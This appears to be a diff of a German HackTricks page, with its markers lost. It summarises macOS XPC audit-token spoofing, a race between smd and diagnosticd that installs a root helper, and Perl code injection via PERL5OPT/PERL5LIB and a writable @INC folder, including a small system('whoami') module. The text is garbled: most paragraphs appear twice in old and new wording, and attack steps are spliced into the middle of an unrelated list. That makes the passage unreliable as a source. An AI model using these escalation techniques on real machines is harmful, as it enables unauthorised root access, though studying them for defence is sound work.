**Weitere Informationen finden Sie im Originalbeitrag: [https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)**. Hier ist eine Zusammenfassung:
|
||||
|
||||
**Für weitere Informationen überprüfen Sie den Originalbeitrag:** [**https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/**](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/). Dies ist eine Zusammenfassung:
|
||||
|
||||
## Grundlegende Informationen zu Mach-Nachrichten
|
||||
|
||||
Wenn Sie nicht wissen, was Mach-Nachrichten sind, schauen Sie sich diese Seite an:
|
||||
Wenn Sie nicht wissen, was Mach-Nachrichten sind, beginnen Sie mit dem Überprüfen dieser Seite:
|
||||
|
||||
{% content-ref url="../../../../mac-os-architecture/macos-ipc-inter-process-communication/" %}
|
||||
[macos-ipc-inter-process-communication](../../../../mac-os-architecture/macos-ipc-inter-process-communication/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Vorerst merken Sie sich ([Definition von hier](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing)):\
|
||||
Mach-Nachrichten werden über einen _mach port_ gesendet, der ein **Kommunikationskanal mit einem einzelnen Empfänger und mehreren Sendern** ist, der in den Mach-Kernel integriert ist. **Mehrere Prozesse können Nachrichten** an einen Mach-Port senden, aber zu jedem Zeitpunkt kann **nur ein einzelner Prozess daraus lesen**. Ähnlich wie Dateideskriptoren und Sockets werden Mach-Ports vom Kernel zugewiesen und verwaltet, und Prozesse sehen nur eine Ganzzahl, die sie verwenden können, um dem Kernel anzuzeigen, welchen ihrer Mach-Ports sie verwenden möchten.
|
||||
Merken Sie sich vorerst, dass ([Definition von hier](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing)):\
|
||||
Mach-Nachrichten werden über einen _Mach-Port_ gesendet, der ein **Kommunikationskanal mit einem einzelnen Empfänger und mehreren Sendern** ist, der in den Mach-Kernel integriert ist. **Mehrere Prozesse können Nachrichten** an einen Mach-Port senden, aber zu jedem Zeitpunkt kann **nur ein einzelner Prozess daraus lesen**. Ähnlich wie Dateideskriptoren und Sockets werden Mach-Ports vom Kernel zugewiesen und verwaltet, und Prozesse sehen nur eine Ganzzahl, die sie verwenden können, um dem Kernel anzuzeigen, welchen ihrer Mach-Ports sie verwenden möchten.
|
||||
|
||||
## XPC-Verbindung
|
||||
|
||||
Wenn Sie nicht wissen, wie eine XPC-Verbindung hergestellt wird, schauen Sie hier nach:
|
||||
Wenn Sie nicht wissen, wie eine XPC-Verbindung hergestellt wird, überprüfen Sie:
|
||||
|
||||
{% content-ref url="../" %}
|
||||
[..](../)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Zusammenfassung der Schwachstelle
|
||||
## Schwachstellenzusammenfassung
|
||||
|
||||
Was für Sie interessant zu wissen ist, dass die Abstraktion von XPC eine **eins-zu-eins-Verbindung** ist, die jedoch auf einer Technologie basiert, die **mehrere Sender haben kann**:
|
||||
Was für Sie interessant zu wissen ist, dass die **Abstraktion von XPC eine Eins-zu-Eins-Verbindung ist**, aber sie basiert auf einer Technologie, die **mehrere Sender haben kann, also:**
|
||||
|
||||
* Mach-Ports haben einen einzelnen Empfänger und **mehrere Sender**.
|
||||
* Mach-Ports sind ein einzelner Empfänger, **mehrere Sender**.
|
||||
* Das Audit-Token einer XPC-Verbindung ist das Audit-Token, das **aus der zuletzt empfangenen Nachricht kopiert wurde**.
|
||||
* Das Erlangen des **Audit-Tokens** einer XPC-Verbindung ist für viele **Sicherheitsüberprüfungen** entscheidend.
|
||||
|
||||
Obwohl die vorherige Situation vielversprechend klingt, gibt es einige Szenarien, in denen dies keine Probleme verursacht ([von hier](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing)):
|
||||
Obwohl die vorherige Situation vielversprechend klingt, gibt es Szenarien, in denen dies keine Probleme verursachen wird ([von hier](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing)):
|
||||
|
||||
* Audit-Tokens werden häufig für eine Autorisierungsprüfung verwendet, um zu entscheiden, ob eine Verbindung akzeptiert werden soll. Da dies mit einer Nachricht an den Dienstport geschieht, wird **noch keine Verbindung hergestellt**. Weitere Nachrichten an diesem Port werden einfach als zusätzliche Verbindungsanfragen behandelt. Daher sind **Überprüfungen vor der Annahme einer Verbindung nicht gefährdet** (das bedeutet auch, dass das Audit-Token innerhalb von `-listener:shouldAcceptNewConnection:` sicher ist). Wir suchen daher nach XPC-Verbindungen, die bestimmte Aktionen überprüfen.
|
||||
* XPC-Ereignishandler werden synchron behandelt. Das bedeutet, dass der Ereignishandler für eine Nachricht abgeschlossen sein muss, bevor er für die nächste aufgerufen wird, auch in gleichzeitigen Dispatch-Warteschlangen. Daher kann das Audit-Token innerhalb eines **XPC-Ereignishandlers nicht von anderen normalen (nicht-Antwort!) Nachrichten überschrieben** werden.
|
||||
* Audit-Token werden häufig für eine Autorisierungsprüfung verwendet, um zu entscheiden, ob eine Verbindung akzeptiert werden soll. Da dies über eine Nachricht an den Dienstport erfolgt, ist **noch keine Verbindung hergestellt**. Weitere Nachrichten an diesem Port werden einfach als zusätzliche Verbindungsanfragen behandelt. Daher sind **Überprüfungen vor der Annahme einer Verbindung nicht gefährdet** (das bedeutet auch, dass das Audit-Token innerhalb von `-listener:shouldAcceptNewConnection:` sicher ist). Wir suchen daher nach XPC-Verbindungen, die spezifische Aktionen überprüfen.
|
||||
* XPC-Ereignishandler werden synchron behandelt. Das bedeutet, dass der Ereignishandler für eine Nachricht abgeschlossen sein muss, bevor er für die nächste aufgerufen wird, auch auf gleichzeitigen Dispatch-Warteschlangen. Daher kann das Audit-Token innerhalb eines **XPC-Ereignishandlers nicht von anderen normalen (nicht-Antwort-)Nachrichten überschrieben werden**.
|
||||
|
||||
Es gibt zwei verschiedene Methoden, wie dies ausgenutzt werden kann:
|
||||
Zwei verschiedene Methoden, wie dies ausgenutzt werden könnte:
|
||||
|
||||
1. Variante 1:
|
||||
* Der **Exploit** stellt eine Verbindung zu Dienst **A** und Dienst **B** her.
|
||||
* Dienst **B** kann eine **privilegierte Funktion** in Dienst A aufrufen, die der Benutzer nicht kann.
|
||||
* Dienst **A** ruft **`xpc_connection_get_audit_token`** auf, während er sich **nicht** im Ereignishandler für eine Verbindung in einem **`dispatch_async`** befindet.
|
||||
* Daher könnte eine **andere** Nachricht das **Audit-Token überschreiben**, da sie außerhalb des Ereignishandlers asynchron weitergeleitet wird.
|
||||
* Der **Exploit** verbindet sich mit Dienst **A** und Dienst **B**.
|
||||
* Dienst **B** kann eine **privilegierte Funktionalität** in Dienst **A** aufrufen, die der Benutzer nicht kann.
|
||||
* Dienst **A** ruft **`xpc_connection_get_audit_token`** auf, während es sich **nicht** im **Ereignishandler** für eine Verbindung in einem **`dispatch_async`** befindet.
|
||||
* Daher könnte eine **andere** Nachricht das **Audit-Token überschreiben**, da sie außerhalb des Ereignishandlers asynchron an den Kernel übermittelt wird.
|
||||
* Der Exploit übergibt **Dienst B das SEND-Recht an Dienst A**.
|
||||
* Daher wird svc **B** tatsächlich die **Nachrichten** an Dienst **A** senden.
|
||||
* Der Exploit versucht, die **privilegierte Aktion aufzurufen**. In einem RC svc **A überprüft** die Autorisierung dieser **Aktion**, während **svc B das Audit-Token überschrieben** hat (was dem Exploit Zugriff auf den Aufruf der privilegierten Aktion ermöglicht).
|
||||
* Daher wird svc **B tatsächlich die Nachrichten an Dienst A senden**.
|
||||
* Der **Exploit** versucht, die **privilegierte Aktion aufzurufen**. In einem RC überprüft svc **A die Autorisierung dieser Aktion**, während **svc B das Audit-Token überschrieben hat** (was dem Exploit Zugriff auf das Aufrufen der privilegierten Aktion gibt).
|
||||
2. Variante 2:
|
||||
* Dienst **B** kann eine **privilegierte Funktion** in Dienst A aufrufen, die der Benutzer nicht kann.
|
||||
* Der Exploit stellt eine Verbindung zu **Dienst A** her, der dem Exploit eine **Nachricht erwartet, die eine Antwort** in einem bestimmten **Antwortport** sendet.
|
||||
* Der Exploit sendet **Dienst B eine Nachricht**, die **diesen Antwortport** übergibt.
|
||||
* Wenn Dienst **B antwortet**, sendet er die Nachricht an Dienst **A**, **während** der Exploit eine andere **Nachricht an Dienst A** sendet, um eine privilegierte Funktion zu erreichen und erwartet, dass die Antwort von Dienst B das Audit-Token im perfekten Moment überschreibt (Race Condition).
|
||||
* Dienst **B** kann eine **privilegierte Funktionalität** in Dienst **A** aufrufen, die der Benutzer nicht kann.
|
||||
* Der Exploit verbindet sich mit **Dienst A**, der dem Exploit eine Nachricht sendet und eine Antwort in einem bestimmten **Antwort-Port** erwartet.
|
||||
* Der Exploit sendet **Dienst B eine Nachricht**, die **diesen Antwort-Port** übergibt.
|
||||
* Wenn Dienst **B antwortet**, **sendet er die Nachricht an Dienst A**, **während** der **Exploit eine andere Nachricht an Dienst A sendet**, um eine privilegierte Funktionalität zu erreichen und darauf zu warten, dass die Antwort von Dienst B das Audit-Token im perfekten Moment überschreibt (Race Condition).
|
||||
|
||||
## Variante 1: Aufruf von xpc\_connection\_get\_audit\_token außerhalb eines Ereignishandlers <a href="#variant-1-calling-xpc_connection_get_audit_token-outside-of-an-event-handler" id="variant-1-calling-xpc_connection_get_audit_token-outside-of-an-event-handler"></a>
|
||||
|
||||
Szenario:
|
||||
|
||||
* Zwei Mach-Dienste **`A`** und **`B`**, zu denen wir beide eine Verbindung herstellen können (basierend auf dem Sandbox-Profil und den Autorisierungsprüfungen vor der Annahme der Verbindung).
|
||||
* _**A**_ muss eine **Autorisierungsprüfung** für eine bestimmte Aktion haben, die **`B`** übergeben kann (aber unsere App nicht).
|
||||
* Zum Beispiel, wenn B einige **Berechtigungen** hat oder als **root** ausgeführt wird, könnte es ihm erlauben, A aufzufordern, eine privilegierte Aktion auszuführen.
|
||||
* Für diese Autorisierungsprüfung erhält **`A`** das Audit-Token asynchron, zum Beispiel durch Aufruf von `xpc_connection_get_audit_token
|
||||
4. Der nächste Schritt besteht darin, `diagnosticd` anzuweisen, die Überwachung eines ausgewählten Prozesses (möglicherweise des eigenen Benutzers) zu starten. Gleichzeitig werden eine Flut von Routine-1004-Nachrichten an `smd` gesendet. Das Ziel hierbei ist es, ein Tool mit erhöhten Berechtigungen zu installieren.
|
||||
5. Diese Aktion löst eine Rennbedingung innerhalb der Funktion `handle_bless` aus. Die Zeitabstimmung ist entscheidend: Der Funktionsaufruf `xpc_connection_get_pid` muss die PID des Benutzerprozesses zurückgeben (da sich das privilegierte Tool im App-Bundle des Benutzers befindet). Die Funktion `xpc_connection_get_audit_token`, insbesondere innerhalb der Unterfunktion `connection_is_authorized`, muss jedoch auf das Audit-Token von `diagnosticd` verweisen.
|
||||
* _**A**_ muss eine **Autorisierungsprüfung** für eine spezifische Aktion haben, die **`B`** übergeben kann (aber unsere App nicht).
|
||||
* Wenn B z.B. einige **Berechtigungen** hat oder als **root** ausgeführt wird, könnte es ihm erlauben, A aufzufordern, eine privilegierte Aktion auszuführen.
|
||||
* Für diese Autorisierungsprüfung erhält **`A`** das Audit-Token asynchron, z.B. durch Aufruf von `xpc_connection_get_audit_token` aus **`dispatch_async`**.
|
||||
|
||||
{% hint style="danger" %}
|
||||
In diesem Fall könnte ein Angreifer eine **Race Condition** auslösen, indem er einen **Exploit erstellt, der A auffordert, eine Aktion auszuführen**, während **B Nachrichten an `A` sendet**. Wenn die RC **erfolgreich** ist, wird das **Audit-Token** von **B** im Speicher **kopiert, während** die Anfrage unseres **Exploits** von A **bearbeitet** wird, was ihm **Zugriff auf die privilegierte Aktion gibt, die nur B anfordern konnte**.
|
||||
{% endhint %}
|
||||
|
||||
Dies geschah mit **`A`** als `smd` und **`B`** als `diagnosticd`. Die Funktion [`SMJobBless`](https://developer.apple.com/documentation/servicemanagement/1431078-smjobbless?language=objc) von smb kann verwendet werden, um ein neues privilegiertes Hilfsprogramm (als **root**) zu installieren. Wenn ein **Prozess als root ausgeführt wird** und **smd** kontaktiert, werden keine weiteren Überprüfungen durchgeführt.
|
||||
|
||||
Daher ist der Dienst **B** **`diagnosticd`**, weil er als **root** ausgeführt wird und dazu verwendet werden kann, einen Prozess zu **überwachen**, sodass, sobald die Überwachung begonnen hat, mehrere Nachrichten pro Sekunde gesendet werden.
|
||||
|
||||
Um den Angriff durchzuführen:
|
||||
|
||||
1. Starten Sie eine **Verbindung** mit dem Dienst namens `smd` unter Verwendung des Standard-XPC-Protokolls.
|
||||
2. Bilden Sie eine sekundäre **Verbindung** zu `diagnosticd`. Anstatt wie üblich zwei neue Mach-Ports zu erstellen und zu senden, wird das Client-Port-Senderecht durch eine Kopie des **Senderechts** ersetzt, das mit der Verbindung von `smd` verbunden ist.
|
||||
3. Als Ergebnis können XPC-Nachrichten an `diagnosticd` gesendet werden, aber Antworten von `diagnosticd` werden an `smd` umgeleitet. Für `smd` scheint es, als ob die Nachrichten sowohl vom Benutzer als auch von `diagnosticd` von derselben Verbindung stammen.
|
||||
|
||||
![Bild, das den Exploit-Prozess darstellt](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/exploit.png)
|
||||
4. Der nächste Schritt besteht darin, `diagnosticd` anzuweisen, die Überwachung eines ausgewählten Prozesses zu initiieren (möglicherweise des eigenen Benutzers). Gleichzeitig werden eine Flut von Routine-1004-Nachrichten an `smd` gesendet. Das Ziel hierbei ist die Installation eines Tools mit erhöhten Berechtigungen.
|
||||
5. Diese Aktion löst eine Wettlaufbedingung innerhalb der `handle_bless`-Funktion aus. Das Timing ist entscheidend: Der Aufruf der Funktion `xpc_connection_get_pid` muss die PID des Benutzerprozesses zurückgeben (da das privilegierte Tool im App-Bundle des Benutzers liegt). Jedoch muss die Funktion `xpc_connection_get_audit_token`, speziell innerhalb der Unterfunktion `connection_is_authorized`, auf das Audit-Token von `diagnosticd` verweisen.
|
||||
|
||||
## Variante 2: Weiterleitung von Antworten
|
||||
|
||||
In einer XPC (Cross-Process Communication)-Umgebung gibt es eine einzigartige Verhaltensweise bei der Behandlung von Antwortnachrichten, obwohl Ereignishandler nicht gleichzeitig ausgeführt werden. Es gibt speziell zwei verschiedene Methoden zum Senden von Nachrichten, die eine Antwort erwarten:
|
||||
In einer XPC (Cross-Process Communication)-Umgebung erfolgt die Verarbeitung von Antwortnachrichten auf einzigartige Weise, obwohl Ereignisbehandler nicht gleichzeitig ausgeführt werden. Es existieren speziell zwei unterschiedliche Methoden zum Senden von Nachrichten, die eine Antwort erwarten:
|
||||
|
||||
1. **`xpc_connection_send_message_with_reply`**: Hier wird die XPC-Nachricht empfangen und auf einer bestimmten Warteschlange verarbeitet.
|
||||
2. **`xpc_connection_send_message_with_reply_sync`**: Im Gegensatz dazu wird bei dieser Methode die XPC-Nachricht auf der aktuellen Dispatch-Warteschlange empfangen und verarbeitet.
|
||||
1. **`xpc_connection_send_message_with_reply`**: Hier wird die XPC-Nachricht auf einer bestimmten Warteschlange empfangen und verarbeitet.
|
||||
2. **`xpc_connection_send_message_with_reply_sync`**: Im Gegensatz dazu wird die XPC-Nachricht in dieser Methode auf der aktuellen Dispatch-Warteschlange empfangen und verarbeitet.
|
||||
|
||||
Diese Unterscheidung ist entscheidend, da dies die Möglichkeit bietet, **Antwortpakete gleichzeitig mit der Ausführung eines XPC-Ereignishandlers zu analysieren**. Beachtenswert ist, dass `_xpc_connection_set_creds` eine Sperrung implementiert, um eine teilweise Überschreibung des Audit-Tokens zu verhindern, jedoch keinen umfassenden Schutz für das gesamte Verbindungsobjekt bietet. Dadurch entsteht eine Sicherheitslücke, bei der das Audit-Token während des Intervalls zwischen der Analyse eines Pakets und der Ausführung seines Ereignishandlers ersetzt werden kann.
|
||||
Diese Unterscheidung ist entscheidend, da sie die Möglichkeit bietet, dass **Antwortpakete gleichzeitig mit der Ausführung eines XPC-Ereignisbehandlers analysiert werden**. Insbesondere implementiert `_xpc_connection_set_creds` zwar eine Sperrung zum Schutz vor der teilweisen Überschreibung des Audit-Tokens, erstreckt diesen Schutz jedoch nicht auf das gesamte Verbindungsobjekt. Folglich entsteht eine Schwachstelle, bei der das Audit-Token während des Intervalls zwischen dem Parsen eines Pakets und der Ausführung seines Ereignisbehandlers ersetzt werden kann.
|
||||
|
||||
Um diese Sicherheitslücke auszunutzen, ist die folgende Konfiguration erforderlich:
|
||||
Um diese Schwachstelle auszunutzen, ist folgende Konfiguration erforderlich:
|
||||
|
||||
- Zwei Mach-Dienste, die als **`A`** und **`B`** bezeichnet werden und beide eine Verbindung herstellen können.
|
||||
- Der Dienst **`A`** sollte eine Autorisierungsprüfung für eine bestimmte Aktion enthalten, die nur **`B`** ausführen kann (die Anwendung des Benutzers nicht).
|
||||
- Der Dienst **`A`** sollte eine Nachricht senden, die eine Antwort erwartet.
|
||||
- Der Benutzer kann eine Nachricht an **`B`** senden, auf die es antworten wird.
|
||||
* Zwei Mach-Services, bezeichnet als **`A`** und **`B`**, die beide eine Verbindung herstellen können.
|
||||
* Service **`A`** sollte eine Autorisierungsprüfung für eine spezifische Aktion enthalten, die nur von **`B`** ausgeführt werden kann (die Anwendung des Benutzers nicht).
|
||||
* Service **`A`** sollte eine Nachricht senden, die eine Antwort erwartet.
|
||||
* Der Benutzer kann eine Nachricht an **`B`** senden, auf die es antworten wird.
|
||||
|
||||
Der Ausbeutungsprozess umfasst die folgenden Schritte:
|
||||
|
||||
1. Warten Sie darauf, dass der Dienst **`A`** eine Nachricht sendet, die eine Antwort erwartet.
|
||||
2. Anstatt direkt an **`A`** zu antworten, wird der Antwortport übernommen und verwendet, um eine Nachricht an den Dienst **`B`** zu senden.
|
||||
3. Anschließend wird eine Nachricht mit der verbotenen Aktion versendet, in der Erwartung, dass sie gleichzeitig mit der Antwort von **`B`** verarbeitet wird.
|
||||
1. Warten, bis Service **`A`** eine Nachricht sendet, die eine Antwort erwartet.
|
||||
2. Anstatt direkt an **`A`** zu antworten, wird der Antwort-Port übernommen und verwendet, um eine Nachricht an Service **`B`** zu senden.
|
||||
3. Anschließend wird eine Nachricht mit der verbotenen Aktion versandt, in der Erwartung, dass sie gleichzeitig mit der Antwort von **`B`** verarbeitet wird.
|
||||
|
||||
Nachfolgend finden Sie eine visuelle Darstellung des beschriebenen Angriffsszenarios:
|
||||
Nachfolgend ist eine visuelle Darstellung des beschriebenen Angriffsszenarios dargestellt:
|
||||
|
||||
![https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/variant2.png](../../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png)
|
||||
|
||||
|
||||
<figure><img src="../../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/variant2.png" width="563"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt="https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/variant2.png" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
## Probleme bei der Entdeckung
|
||||
|
||||
- **Schwierigkeiten bei der Lokalisierung von Instanzen**: Die Suche nach Instanzen der Verwendung von `xpc_connection_get_audit_token` war sowohl statisch als auch dynamisch eine Herausforderung.
|
||||
- **Methodik**: Frida wurde verwendet, um die Funktion `xpc_connection_get_audit_token` zu hooken und Anrufe zu filtern, die nicht aus Ereignishandlern stammen. Diese Methode war jedoch auf den gehookten Prozess beschränkt und erforderte aktive Nutzung.
|
||||
- **Analysetools**: Tools wie IDA/Ghidra wurden verwendet, um erreichbare Mach-Dienste zu untersuchen, aber der Prozess war zeitaufwändig und wurde durch Aufrufe mit dem dyld Shared Cache erschwert.
|
||||
- **Einschränkungen bei der Skripterstellung**: Versuche, die Analyse für Aufrufe von `xpc_connection_get_audit_token` aus `dispatch_async`-Blöcken zu skripten, wurden durch Komplexitäten beim Parsen von Blöcken und Interaktionen mit dem dyld Shared Cache behindert.
|
||||
* **Schwierigkeiten bei der Lokalisierung von Instanzen**: Die Suche nach Instanzen der Verwendung von `xpc_connection_get_audit_token` war sowohl statisch als auch dynamisch herausfordernd.
|
||||
* **Methodik**: Frida wurde verwendet, um die Funktion `xpc_connection_get_audit_token` zu hooken und Anrufe zu filtern, die nicht aus Ereignisbehandlern stammen. Diese Methode war jedoch auf den gehookten Prozess beschränkt und erforderte aktive Nutzung.
|
||||
* **Analysetools**: Tools wie IDA/Ghidra wurden verwendet, um erreichbare Mach-Services zu untersuchen, was zeitaufwändig war und durch Aufrufe, die den dyld-Shared-Cache involvierten, kompliziert wurde.
|
||||
* **Skripting-Einschränkungen**: Versuche, die Analyse für Anrufe von `xpc_connection_get_audit_token` aus `dispatch_async`-Blöcken zu skripten, wurden durch Komplexitäten beim Parsen von Blöcken und Interaktionen mit dem dyld-Shared-Cache behindert.
|
||||
|
||||
## Die Lösung <a href="#the-fix" id="the-fix"></a>
|
||||
|
||||
- **Gemeldete Probleme**: Ein Bericht wurde an Apple über die allgemeinen und spezifischen Probleme in `smd` gesendet.
|
||||
- **Antwort von Apple**: Apple hat das Problem in `smd` behoben, indem `xpc_connection_get_audit_token` durch `xpc_dictionary_get_audit_token` ersetzt wurde.
|
||||
- **Art der Lösung**: Die Funktion `xpc_dictionary_get_audit_token` gilt als sicher, da sie das Audit-Token direkt aus der Mach-Nachricht abruft, die mit der empfangenen XPC-Nachricht verknüpft ist. Sie ist jedoch nicht Teil der öffentlichen API, ähnlich wie `xpc_connection_get_audit_token`.
|
||||
- **Fehlen einer umfassenderen Lösung**: Es ist unklar, warum Apple keine umfassendere Lösung implementiert hat, z. B. das Verwerfen von Nachrichten, die nicht mit dem gespeicherten Audit-Token der Verbindung übereinstimmen. Die Möglichkeit legitimer Änderungen des Audit-Tokens in bestimmten Szenarien (z. B. bei der Verwendung von `setuid`) könnte ein Faktor sein.
|
||||
- **Aktueller Status**: Das Problem besteht weiterhin in iOS 17 und macOS 14 und stellt eine Herausforderung für diejenigen dar, die es identifizieren und verstehen möchten.
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Lernen Sie das Hacken von AWS von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Andere Möglichkeiten, HackTricks zu unterstützen:
|
||||
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen** möchten, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegramm-Gruppe**](https://t.me/peass) bei oder folgen Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **GitHub-Repositories senden.**
|
||||
|
||||
</details>
|
||||
* **Gemeldete Probleme**: Ein Bericht wurde an Apple eingereicht, der die allgemeinen und spezifischen Probleme in `smd` beschreibt.
|
||||
* **Antwort von Apple**: Apple behob das Problem in `smd`, indem `xpc_connection_get_audit_token` durch `xpc_dictionary_get_audit_token` ersetzt wurde.
|
||||
* **Art der Lösung**: Die Funktion `xpc_dictionary_get_audit_token` gilt als sicher, da sie das Audit-Token direkt aus der Mach-Nachricht abruft, die mit der empfangenen XPC-Nachricht verknüpft ist. Allerdings ist sie nicht Teil der öffentlichen API, ähnlich wie `xpc_connection_get_audit_token`.
|
||||
* **Fehlen einer umfassenderen Lösung**: Es bleibt unklar, warum Apple keine umfassendere Lösung implementiert hat, wie beispielsweise das Verwerfen von Nachrichten, die nicht mit dem gespeicherten Audit-Token der Verbindung übereinstimmen. Die Möglichkeit legitimer Änderungen des Audit-Tokens in bestimmten Szenarien (z.B. `setuid`-Verwendung) könnte ein Faktor sein.
|
||||
* **Aktueller Status**: Das Problem besteht weiterhin in iOS 17 und macOS 14 und stellt eine Herausforderung für diejenigen dar, die es identifizieren und verstehen möchten.
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# macOS Perl-Anwendungen Injektion
|
||||
# macOS Perl-Anwendungen Injection
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -6,18 +6,18 @@
|
|||
|
||||
Andere Möglichkeiten, HackTricks zu unterstützen:
|
||||
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github Repositories einreichen.
|
||||
|
||||
</details>
|
||||
|
||||
## Über die Umgebungsvariablen `PERL5OPT` & `PERL5LIB`
|
||||
## Über `PERL5OPT` & `PERL5LIB` Umgebungsvariable
|
||||
|
||||
Mit der Umgebungsvariable PERL5OPT ist es möglich, Perl dazu zu bringen, beliebige Befehle auszuführen.\
|
||||
Erstellen Sie zum Beispiel dieses Skript:
|
||||
Erstellen Sie beispielsweise dieses Skript:
|
||||
|
||||
{% code title="test.pl" %}
|
||||
```perl
|
||||
|
@ -42,17 +42,17 @@ system('whoami');
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Und dann verwenden Sie die Umgebungsvariablen:
|
||||
Und verwenden Sie dann die Umgebungsvariablen:
|
||||
```bash
|
||||
PERL5LIB=/tmp/ PERL5OPT=-Mpmod
|
||||
```
|
||||
## Über Abhängigkeiten
|
||||
|
||||
Es ist möglich, die Reihenfolge der Abhängigkeiten des Perl-Laufs aufzulisten:
|
||||
Es ist möglich, die Abhängigkeiten des Perl-Laufs in der Reihenfolge des Ordners aufzulisten:
|
||||
```bash
|
||||
perl -e 'print join("\n", @INC)'
|
||||
```
|
||||
Was zurückgegeben wird, sieht etwa so aus:
|
||||
Was zurückgeben wird:
|
||||
```bash
|
||||
/Library/Perl/5.30/darwin-thread-multi-2level
|
||||
/Library/Perl/5.30
|
||||
|
@ -64,30 +64,16 @@ Was zurückgegeben wird, sieht etwa so aus:
|
|||
/System/Library/Perl/Extras/5.30/darwin-thread-multi-2level
|
||||
/System/Library/Perl/Extras/5.30
|
||||
```
|
||||
Einige der zurückgegebenen Ordner existieren nicht einmal, jedoch existiert **`/Library/Perl/5.30`**, es ist **nicht** durch **SIP** geschützt und es befindet sich **vor** den durch SIP geschützten Ordnern. Daher könnte jemand diesen Ordner missbrauchen, um Skriptabhängigkeiten hinzuzufügen, damit ein Perl-Skript mit hoher Berechtigung sie lädt.
|
||||
Einige der zurückgegebenen Ordner existieren nicht einmal, jedoch existiert **`/Library/Perl/5.30`**, es ist **nicht** durch **SIP** geschützt und es befindet sich **vor** den von SIP geschützten Ordnern. Daher könnte jemand diesen Ordner missbrauchen, um Skriptabhängigkeiten hinzuzufügen, damit ein Perl-Skript mit hohen Berechtigungen sie lädt.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Beachten Sie jedoch, dass Sie **Root-Rechte benötigen, um in diesen Ordner zu schreiben**, und heutzutage erhalten Sie diese **TCC-Aufforderung**:
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" width="244"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt="" width="244"><figcaption></figcaption></figure>
|
||||
|
||||
Zum Beispiel, wenn ein Skript **`use File::Basename;`** importiert, wäre es möglich, **`/Library/Perl/5.30/File/Basename.pm`** zu erstellen, um beliebigen Code auszuführen.
|
||||
Zum Beispiel, wenn ein Skript **`use File::Basename;`** importiert, wäre es möglich, `/Library/Perl/5.30/File/Basename.pm` zu erstellen, um beliebigen Code auszuführen.
|
||||
|
||||
## Referenzen
|
||||
|
||||
